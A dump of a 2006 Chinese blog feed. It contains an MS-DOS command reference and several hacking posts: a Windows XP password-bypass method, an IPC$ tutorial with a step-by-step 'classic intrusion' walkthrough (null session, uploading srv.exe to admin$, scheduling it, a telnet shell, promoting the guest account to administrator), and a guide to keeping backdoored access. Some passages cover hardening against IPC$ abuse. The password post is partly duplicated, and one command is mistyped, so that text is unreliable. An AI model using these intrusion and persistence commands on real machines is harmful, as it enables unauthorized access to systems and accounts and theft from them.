		<p>COPY：复制你指定位置的文件到另一个位置，它也常用来复制一组文件。</p>
		<p>语法：COPY [/Y|/-Y] [/A|/B] 源文件 [/A|/B] [+源文件[/A|/B] [+…]] [目的文件 [/A|/B]] [V]。</p>
		<p>举例：为了复制当前路径下的NOTES.TXT文件到当前驱动器下的MYNOTES目录下，同时，如果在MYNOTES下已经存在文件NOTES.TXT，就直接覆盖它， copy notes mynotes /y。</p>
		<p>
		</p>
		<p>DATE：显示日期，同时你也可以修改日期。MS-DOS记录了你创建每一个文件的日期和修改日期。</p>
		<p>语法：DATE [MM-DD-YY]。</p>
		<p>
		</p>
		<p>DEFRAG：用来重新组织文件优化磁盘表面。注意：我们不要在WINDOWS下使用这个命令。</p>
		<p>语法：DEFRAG [驱动器] [/F] [/u] [/H]。</p>
		<p>举例：为了快速地优化驱动器C：，输入DEFRAG C：/H。</p>
		<p>
		</p>
		<p>DEL： 删除你指定的文件。</p>
		<p>语法：DEL [驱动器：] [路径] 文件名 </p>
		<p>；</p>
		<p>举例：略。</p>
		<p>
		</p>
		<p>DELTREE：删除一个目录及它里面的所有文件和子目录。</p>
		<p>语法：DELTREE [/Y] [驱动器：]路径 [[驱动器：] 路径[…]]。</p>
		<p>举例：为了删除C：盘的TEMP目录下的所有文件和子目录及TEMP目录。可以使用命令：DELTREE C：\TEMP。</p>
		<p>
		</p>
		<p>DIR：命令是用来查看文件与目录信息的命令，使用它我们可以看到自己机器的内容，能够了解我们机器上的文件、目录及它们的信息。</p>
		<p>语法：略。</p>
		<p>
		</p>
		<p>DISCOPY：是复制整个磁盘上的所有内容到另一个磁盘上。同时，DISCOPY会用新的信息覆盖目的磁盘上已经存在的内容。语法：DISCOPY [驱动器1： [驱动器2：]] [/1] [/V] [/M]。[/1]说明只复制磁盘的第一面；[/V]说明在复制的过程中校验信息的正确性；[/M]强迫DISCOPY使用常规内存来交换信息。</p>
		<p>
		</p>
		<p>DISKCOMP：用来比较两个磁盘的内容。这个命令按一个磁道一个磁道的比较方式来进行比较，DISKCOMP基于你指定的第一个磁盘的格式检测每个磁道的面数和扇区数。</p>
		<p>语法：DISKCOMP [驱动器1：[驱动器2]] [/1] [/8]。</p>
		<p>举例：比较两个软磁盘上的内容，使用命令：DISKCOMP A： A：。你只要按提示插入每一个磁盘就可以了。</p>
		<p>
		</p>
		<p>EDIT：用来启动MS-DOS EDITOR 编辑程序，使用EDITOR 编辑程序可以创建和编辑ASCII码文本文件。MS-DOS EDITOR 编辑程序是一个可以创建、编辑、保存和打印ASCII码文本文件的全屏编辑程序。</p>
		<p>语法：EDIT [[驱动器：][路径] 文件名]。</p>
		<p>
		</p>
		<p>EXIT：退出当前程序，回到启动MS-DOS命令的地方。</p>
		<p>语法：EXIT。</p>
		<p>
		</p>
		<p>FC：比较和显示两个文件的不同之处。</p>
		<p>语法：对于一个ASCII码的比较，使用：FC [/A] [/L] [/C] [/LBn] [/N] [/T] [/W] [/nnn] [驱动器1] [路径1] 文件名1 [驱动器2] [路径2] 文件名。对于一个二进制的比较，使用：FC /B [驱动器1] [路径1] 文件名1 [驱动器2] [路径2] 文件名2。</p>
		<p>
		</p>
		<p>FDISK：用来分区DOS系统硬盘，FDISK显示了一系列的菜单来帮助你为硬盘分区。</p>
		<p>语法：启动FDISK程序，使用：FDISK；只是为了显示分区信息，而不启动FDISK程序，使用：FDISK /STATUS。</p>
		<p>
		</p>
		<p>HELP：启动MS-DOS帮助文件。</p>
		<p>语法：HELP [/G] [/H] [/NOHI] [主题]。</p>
		<p>举例：为了显示关于复制方面的信息，使用下面的命令：HELP COPY。</p>
		<p>
		</p>
		<p>FORMAT：给磁盘创建一个新的根目录和文件分配表，它能够检查磁盘的坏区和删除磁盘上的所有文件。</p>
		<p>语法：FORMAT 驱动器：</p>
		<p>举例：使用默认的格式化一个软区A：中的磁盘：Format A：。对于一个以前已经格式化过的磁盘使用快速格式化：Format A：/q；格式化一个磁盘同时完全删除所有的数据，使用：FORMAT A：/U。</p>
		<p>
		</p>
		<p>MD：用来创建目录，我们可以使用MD来创建多级目录结构。</p>
		<p>语法：MD 驱动器：路径 ，MD 驱动器：路径。</p>
		<p>
		</p>
		<p>MEM： 用来显示已经使用的和剩余的内存空间。我们可以使用MEM 命令来显示已经分配的内存空间、剩余的内存空间和程序当前装入的内存。</p>
		<p>语法：MEM [/CLASSIFY|/DEBUG/FREE/MODuLE 模块名] [/PAGE]。</p>
		<p>举例：为了显示系统内存的报告和当前装入内存的程序情况：MEM /CLASSIFY。</p>
		<p>
		</p>
		<p>MORE：一次只显示一屏输出信息。MORE命令从管道文件或重定向文件得到标准信息，然后一屏一屏的显示信息。这个命令常用来查看长文件。</p>
		<p>语法：MORE &lt; [驱动器：] [路径] 文件名命令名|MORE。</p>
		<p>举例：假设我们想查看一个长文件CLIENTS.NEW，就可以使用下面的任一个命令就可以把信息分屏显示。MORE &lt;CLIENTS.NEW  TYPE CLIENTS.WEN |MORE。</p>
		<p>
		</p>
		<p>MSD：提供了一个关于你的计算机的详细技术信息。</p>
		<p>语法：获得系统的技术信息和执行MSD程序：MSD 。</p>
		<p>举例：如果你想得到一个关于你的计算机的报告，其中包括你的名字、单位、地址和电话号码，使用：MSD /F COMPUTER.TXT。</p>
		<p>
		</p>
		<p>PATH：说明当前MS-DOS执行文件的位置。MS-DOS 使用PATH命令在指定的目录搜寻可执行文件。默认，搜寻路径是当前的目录。</p>
		<p>语法：PATH [[驱动器：]PATH [；…]]。</p>
		<p>举例：下面的PATH命令将使MS-DOS搜寻三个目录去找要执行的命令：PATH C:\USER\TAXES;B:\USER\INVEST;B:\BIN。</p>
		<p>
		</p>
		<p>PRINT：打印文本文件。</p>
		<p>语法：为了安装打印以默认的参数或者在屏幕上显示打印队列内容，使用：PRINT。</p>
		<p>举例：下面的命令说明怎样从打印队列中删除文件PENCIL.TXT和添加文件PEN.TXT：PRINT PENCIL.TXT /C PEN.TXT /P。</p>
		<p>
		</p>
		<p>PROMPT：用来改变提示符的外观。我们可以用一些自己喜欢的文字来自定义命令提示符。我们可以使用时间、日期、路径名和DOS版本号来说明当前我们所在的目录的信息。</p>
		<p>语法：PROMPT[文字]。</p>
		<p>举例：下面的命令显示了两行信息，第一行是当前的时间，第二行是当前的时间：PROMPT TIME IS ：＄T＄-DATE：＄D。</p>
		<p>
		</p>
		<p>RD：删除一个目录。但是一定要注意，在删除一个目录之前必须删除它里面的所有文件和子目录，也就是说，要删除的目录下面除了“.”和“..”外必须是空的。</p>
		<p>语法：RD [驱动器：]路径。</p>
		<p>举例：要删除\user\smith目录，必须确保它的下面是空的。也就是说：DIR  \USER\SMITH /A 在MS-DOS下应该只显示“.”和“..”两个符号。接着就输入RD \USER\SMITH就可以删除\user\smith目录。</p>
		<p>
		</p>
		<p>REN：修改文件名。但是不能使用它来移动文件。</p>
		<p>语法：REN  [驱动器：] 文件名1 文件名2。</p>
		<p>
		</p>
		<p>SCANDISK：启动磁盘分析和修复工具，检查驱动器的错误和纠正发现的问题。</p>
		<p>语法：检查一个或更多个驱动器的错误：SCANDISK [驱动器：[驱动器：…]|ALL] [/CHECKONLY|/AUTO]。</p>
		<p>
		</p>
		<p>SYS：用来创建一个启动盘，启动盘包括三个隐含文件IO.SYS、MSDOS.SYS 和DRVSPACE.BIN，一个COMMAND.COM文件。SYS命令可以传输这四个文件到一个磁盘中，从而作成一个启动盘。</p>
		<p>语法：SYS [驱动器1：] [路径] 驱动器2。这时一定要注意只有DRVSPACE.BIN在源盘的根目录时才可以传输到系统盘。</p>
		<p>
		</p>
		<p>TIME：显示系统时间和设置系统内部时钟。不管你什么时候创建或改变了一个文件，MS-DOS就自动升级目录时间。</p>
		<p>
		</p>
		<p>TREE：图形的方式显示目录结构。</p>
		<p>语法：TREE [驱动器：] [路径] [/F] [/A]。</p>
		<p>举例：为了显示当前驱动器下的所有子目录的名字，使用：TREE \；分屏显示驱动器C：盘下的所有文件，使用：TREE C:\ /F |MORE。</p>
		<p>
		</p>
		<p>TYPE：显示一个文本文件的内容，但是不能够修改它。</p>
		<p>语法：TYPE [驱动器：] [路径] 文件名。</p>
		<p>
		</p>
		<p>UNDELETE：恢复以前使用DEL命令删除的文件。</p>
		<p>语法：UNDELETE [[驱动器：] [路径] 文件名]。</p>
		<p>
		</p>
		<p>UNFORMAT：恢复使用FORMAT 命令擦除的磁盘内容。</p>
		<p>语法：UNFORMAR 驱动器：[/L] [/TEST] <br />。</p>
		<p>举例：为了检测是不是能够恢复已经格式化的磁盘可以使用 UNFORMAT A：/TEST。</p>
		<p>VER： 显示MS-DOS版本号。</p>
		<p>VOL：显示磁盘的卷标和序列号。</p>
		<p>语法：VOL 驱动器：。</p>
		<p>XCOPY：能够复制目录、子目录和除了隐含文件和系统文件外的所有文件。使用这个命令可以复制一个目录下的文件和它所有子目录下的文件。</p>
		<p>语法：XCOPY 源目录 目的目录 [/Y|-Y] [/A|/M] [/D：DATE] </p>
		<p>[/S] [/V] [/E] [/W]。</p>
		<p>举例：复制A：盘上的所有文件和子目录到B：盘中，包括空目录。XCOPY A： B：/S /E。</p>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/14857.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:26 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14857.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>巧妙破解Windows XP登陆口令</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14856.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:25:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14856.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14856.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14856.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14856.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14856.html</trackback:ping><description><![CDATA[
		<p>
				<font face="Tahoma">Windows XP强大而友好的系统界面博得了越来越多用户的青睐，然而它对用户安全性的审核即是非常严格的，要是你忘记了设置的口令（密码），可别以为能够像Windows98那样选择“取消”同样可以进入系统－－这一点相信安装Windows XP的你，是很清楚的。当然这也是有过痛苦的经历后，才被我们重视的。 <br /><p>　　由于没有登陆口令，无法进入系统；起初的方法总是选择重新安装Windows XP，但这种方法但繁琐，而且费时费力，经过多次实验之后，终于找到了一个可以不需要任何其它软件，就可破解Windows XP登录口令的方法：</p><br /><p>　　但是破解登陆口令，需要有两个必要的前提：</p><br /><p>　　1.安装Windows XP的分区必须采用FAT32文件系统；</p><br /><p>　　2.用户名中没有汉字。</p><br /><p>　　在确认满足这两个条件后，即可执行以下步骤，来破解登陆口令。</p><br /><p>　　1.开机启动Win XP，当运行到“正在启动Windows XP”的提示界面时，按“F8”键调出系统启动选择菜单，选择“带命令行安全模式”；</p><br /><p>　　2.当运行停止后，会列出“Administrator”和其它用户的选择菜单(本例的其他用户以xpuser01为例)，选择“Administrator”后回车，进入命令行模式；</p><br /><p>　　3.键入命令““net user xpuser01 1234/ADD”这是更改该用户密码的命令，命令中的“1234”是更改后的新密码，如果键入的用户不存在（xpuser01），那么系统会自动添加这个用户。</p><br /><p>　　4.另外还可以使用“net 1oca1group administrator xpuser01 /ADD”命令把xpuser01这个用户升为超级用户，即可拥有所有权限。</p><br /><p>　　5.最后一步，就是重新启动计算机，在登录窗口中输入刚刚更改的新密码便可成功登陆。</p><br /><p>　　如果你正在为丢失了登陆口令而烦恼的话，不妨试一试此方法</p></font>
		</p>
		<p>
		</p>
		<br />
		<p>　　由于没有登陆口令，无法进入系统；起初的方法总是选择重新安装Windows XP，但这种方法但繁琐，而且费时费力，经过多次实验之后，终于找到了一个可以不需要任何其它软件，就可破解Windows XP登录口令的方法：</p>
		<br />
		<p>　　但是破解登陆口令，需要有两个必要的前提：</p>
		<br />
		<p>　　1.安装Windows XP的分区必须采用FAT32文件系统；</p>
		<br />
		<p>　　2.用户名中没有汉字。</p>
		<br />
		<p>　　在确认满足这两个条件后，即可执行以下步骤，来破解登陆口令。</p>
		<br />
		<p>　　1.开机启动Win XP，当运行到“正在启动Windows XP”的提示界面时，按“F8”键调出系统启动选择菜单，选择“带命令行安全模式”；</p>
		<br />
		<p>　　2.当运行停止后，会列出“Administrator”和其它用户的选择菜单(本例的其他用户以xpuser01为例)，选择“Administrator”后回车，进入命令行模式；</p>
		<br />
		<p>　　3.键入命令““net user xpuser01 1234/ADD”这是更改该用户密码的命令，命令中的“1234”是更改后的新密码，如果键入的用户不存在（xpuser01），那么系统会自动添加这个用户。</p>
		<br />
		<p>　　4.另外还可以使用“net 1oca1group administrator xpuser01 /ADD”命令把xpuser01这个用户升为超级用户，即可拥有所有权限。</p>
		<br />
		<p>　　5.最后一步，就是重新启动计算机，在登录窗口中输入刚刚更改的新密码便可成功登陆。</p>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/14856.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:25 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14856.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IPC技巧基础</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14854.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:24:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14854.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14854.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14854.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14854.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14854.html</trackback:ping><description><![CDATA[对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少). <br />因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复! <br /><br />二 什么是ipc$ <br />IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 <br />利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 <br />我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。 <br />所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$，访问共享资源,导出用户列表,并使用一些字典工具，进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的. <br /><br /><br /><br />解惑: <br />1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能，其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数，所以不能在Windows 9.x中运行。 <br />也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) <br />2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 <br />3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表 <br /><br /><br /><br /><br />三 建立ipc$连接在hack攻击中的作用 <br />就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!! <br />(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server，还可以考虑开启终端服务方便控制.怎么样?够厉害吧!) <br />不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的 <br />因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接. <br />所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在. <br /><br /><br /><br /><br />四 ipc$与空连接,139,445端口,默认共享的关系 <br />以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂) <br /><br /><br /><br />1)ipc$与空连接: <br />不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了. <br />许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). <br />2)ipc$与139,445端口: <br />ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. <br />3)ipc$与默认共享 <br />默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) <br /><br /><br /><br /><br />五 ipc$连接失败的原因 <br />以下5个原因是比较常见的: <br />1)你的系统不是NT或以上操作系统; <br />2)对方没有打开ipc$默认共享 <br />3)对方未开启139或445端口(惑被防火墙屏蔽) <br />4)你的命令输入有误(比如缺少了空格等) <br />5)用户名或密码错误(空连接当然无所谓了) <br />另外,你也可以根据返回的错误号分析原因： <br />错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限； <br />错误号51，Windows 无法找到网络路径 : 网络有问题； <br />错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； <br />错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$； <br />错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。 <br />错误号1326，未知的用户名或错误密码 ： 原因很明显了； <br />错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况） <br />错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。 <br />关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了. <br /><br /><br /><br /><br />六 如何打开目标的IPC$(此段引自相关文章) <br />首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、木马,当然，这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。 <br /><br /><br /><br /><br />七 如何防范ipc$入侵 <br />1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》) <br />首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等) <br /><br /><br /><br />2禁止默认共享 <br />1）察看本地共享资源 <br />运行-cmd-输入net share <br />2）删除共享(每次输入一个） <br />net share ipc$ /delete <br />net share admin$ /delete <br />net share c$ /delete <br />net share d$ /delete（如果有e,f,……可以继续删除） <br />3）停止server服务 <br />net stop server /y （重新启动后server服务会重新开启） <br />4）修改注册表 <br />运行-regedit <br />server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。 <br />pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。 <br />如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。 <br /><br /><br /><br />3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 <br />控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用 <br /><br /><br /><br />4安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等),或者用新版本的优化大师 <br /><br /><br /><br />5设置复杂密码，防止通过ipc$穷举密码 <br /><br /><br /><br /><br />八 相关命令 <br />1)建立空连接: <br />net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格) <br /><br /><br /><br />2)建立非空连接: <br />net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格) <br /><br /><br /><br />3)映射默认共享: <br />net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推) <br />如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$ <br /><br /><br /><br />4)删除一个ipc$连接 <br />net use \\IP\ipc$ /del <br /><br /><br /><br />5)删除共享映射 <br />net use c: /del 删除映射的c盘，其他盘类推 <br />net use * /del 删除全部,会有提示要求按y确认 <br /><br /><br /><br /><br />九 经典入侵模式 <br />这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) <br /><br /><br /><br />1. C:\&gt;net use \\127.0.0.1\IPC$ "" /user:"admintitrators" <br />这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。 <br />　　 <br />2. C:\&gt;copy srv.exe \\127.0.0.1\admin$ <br />先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。 <br />　　 <br />3. C:\&gt;net time \\127.0.0.1 <br />查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 <br />　　 <br />4. C:\&gt;at \\127.0.0.1 11:05 srv.exe <br />用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） <br />　　 <br />5. C:\&gt;net time \\127.0.0.1 <br />再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 <br />　　 <br />6. C:\&gt;telnet 127.0.0.1 99 <br />这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 <br />虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了 <br />　　 <br />7.C:\&gt;copy ntlm.exe \\127.0.0.1\admin$ <br />用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。 <br />　　 <br />8. C:\WINNT\system32&gt;ntlm <br />输入ntlm启动（这里的C:\WINNT\system32&gt;指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！ <br /><br /><br /><br />9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈) <br /><br /><br /><br />为了以防万一,我们再把guest激活加到管理组 <br />10. C:\&gt;net user guest /active:yes <br />将对方的Guest用户激活 <br /><br /><br /><br />11. C:\&gt;net user guest 1234 <br />将Guest的密码改为1234,或者你要设定的密码 <br /><br /><br /><br />12. C:\&gt;net localgroup administrators guest /add <br />将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)<br /><img src ="http://www.cppblog.com/cqyangjf/aggbug/14854.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:24 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14854.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于基础知识和入侵步骤</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14855.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:24:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14855.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14855.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14855.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14855.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14855.html</trackback:ping><description><![CDATA[
		<span class="style3">电脑和网络知识可算是做黑客的基础的基础，至少你要先了解了它们再来看下面的帖子。看完这部分的帖子，你也只是算站到了“零起点”上，路还长着呢。这里我再多说几句关于入侵步骤的话，给新手做个引导。所谓入侵，可以理解为未授权的访问。既然是未授权的，就需要借助一些非常规的手段，即通常所说的利用漏洞。 <br />1，要利用漏洞首先要发现它。端口扫描和漏洞扫描就是“敲门砖”。可以对大量目标做一般扫描，也可以对单一目标做重点扫描。或者两者结合。当你对漏洞熟悉时，你可以只通过端口扫描就能了解目标的可能有的漏洞。这样既提高效率又不易被记录日志。 <br />2，找到漏洞后的利用问题，是千差万别的。这正是新手学要学习的地方之一。这里就不多说了。 <br />3，利用漏洞的目的是什么呢？是控制对方，即是获得远程shell。shell这个概念是从UNIX下继承过来的，是指与操作系统核心的一种交互方式和界面。典型的例子是telnet。得到shell的办法有很多种，比如通过系统自带的telnet，终端服务。或者用木马和工具提供的，如winshell，冰河等等。 <br />4，shell是有权限差别的。最高权限——管理员权限才是我们的目标。所以有时会有提升权限的问题。当然，这也是利用了漏洞。 <br />5，有了shell还要扩大它，就是进一步获得更好用的shell。命令行的到图形的、功能少的到多的。于是才有了“怎么开3389”，“怎么上传”之类问题。 <br />6，为了下次还能控制目标，你需要保持shell。做一个好的后门又是一种“学问”。克隆帐号、埋木马、破administrator的密码，手段不一而足。<img height="1" alt="" src="http://3800cc.com/news/w41/down_info.asp?id=2480" width="1" border="0" /></span>
		<br />
<img src ="http://www.cppblog.com/cqyangjf/aggbug/14855.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:24 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14855.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>黑客初级技术总览</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14853.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:23:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14853.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14853.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14853.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14853.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14853.html</trackback:ping><description><![CDATA[ 网络安全从其本质上来讲就是网络上的信息安全。从广义来说，凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。确保网络系统的信息安全是网络安全的目标，信息安全包括两个方面：信息的存储安全和信息的传输安全。信息的存储安全是指信息在静态存放状态下的安全，如是否会被非授权调用等。信息的传输安全是指信息在动态传输过程中安全。为了确保网络信息的传输安全，有以下几个问题： <br />　　（１）对网络上信息的监听 <br />　　（２）对用户身份的仿冒 <br />　　（３）对网络上信息的篡改 <br />　　（４）对发出的信息予以否认 <br />　　（５）对信息进行重发 
